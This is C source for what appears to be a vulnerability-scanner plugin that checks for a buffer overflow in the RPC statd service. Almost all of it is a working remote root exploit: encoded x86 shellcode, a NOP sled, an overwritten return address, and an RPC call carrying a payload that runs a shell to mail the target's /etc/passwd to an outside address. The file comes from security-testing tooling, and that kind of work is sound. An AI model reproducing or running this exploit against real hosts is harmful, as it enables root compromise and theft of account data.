/*
 * 
 * broken
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>
#if HAVE_RPC_RPC_H
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#endif

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

#define NAME "statd"
#define DESC "There's a bug on some 'statd' that allows a remote user to \
become root. Also, it is possible to create\n\
and remote any file on the remote system\n\
using this service\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "attempts to send a buffer overflow to statd"

int do_attack(struct arglist * args);



static const char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
static char nop[]="\x90";
static char code[4096];


int plugin_init(struct arglist *desc);
int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Gain root remotely");
        plug_set_timeout(desc, 10);
	return(0);
}


int plugin_run(struct arglist * args)
{
 	 if(plug_get_key(args, "rpc/portmapper")&&
    	 (strlen(plug_get_key(args, "rpc/portmapper"))<3))return(0);
	if(host_get_port_state(args, 111)<=0)return(0);
	else if(do_attack(args))
	{
		char * report;
		
		report = emalloc(300);
		sprintf(report, "\
statd may be used to :\n\
a) create and remove any file on the\n\
   remote system.\n\
b) execute arbitrary code as root.\n\
We tried to send /etc/passwd to %s\n", get_preference(args, "email"));
		
		post_hole_udp(args, 111, report);
		efree(&report);
	}
	return(0);
}


int do_attack(struct arglist * args) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct sockaddr_in target;
  struct in_addr * t;
  char * command = emalloc(200);
  char *cmd[3];
  int sd, i, noplen=strlen(nop);
  char *ptr=code;
  char * email;
  if(!(email = get_preference(args, "email")))return(0);
  
  
  sprintf(command, "mail %s < /etc/passwd\n", email);
  efree(&email);
  cmd[0] = "/bin/sh";
  cmd[1] = "-c";
  cmd[2] = command; 
  

  for (i=0; i< sizeof(code); i++)
    *ptr++=nop[i % noplen];

  strcpy(&code[750], asmcode);  /* XXX temp. */
  ptr=code+strlen(code);
  for (i=0; i<=strlen(cmd[0]); i++)
    *ptr++=cmd[0][i]-1;
  for (i=0; i<=strlen(cmd[1]); i++)
    *ptr++=cmd[1][i]-1;
  for (i=0; i<=strlen(cmd[2]); i++)
    *ptr++=cmd[2][i]-1;
  ptr=code+BUFSIZE-(ADDRS<<2);
  for (i=0; i<ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;
  *ptr=0;



  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name=code;

  
  target.sin_family=AF_INET;
  t = plug_get_host_ip(args);
  target.sin_addr=*t;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    return(0);
  }
 
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    return(0);
  clnt_destroy(cl);
  efree(&command);
  return(1);
}
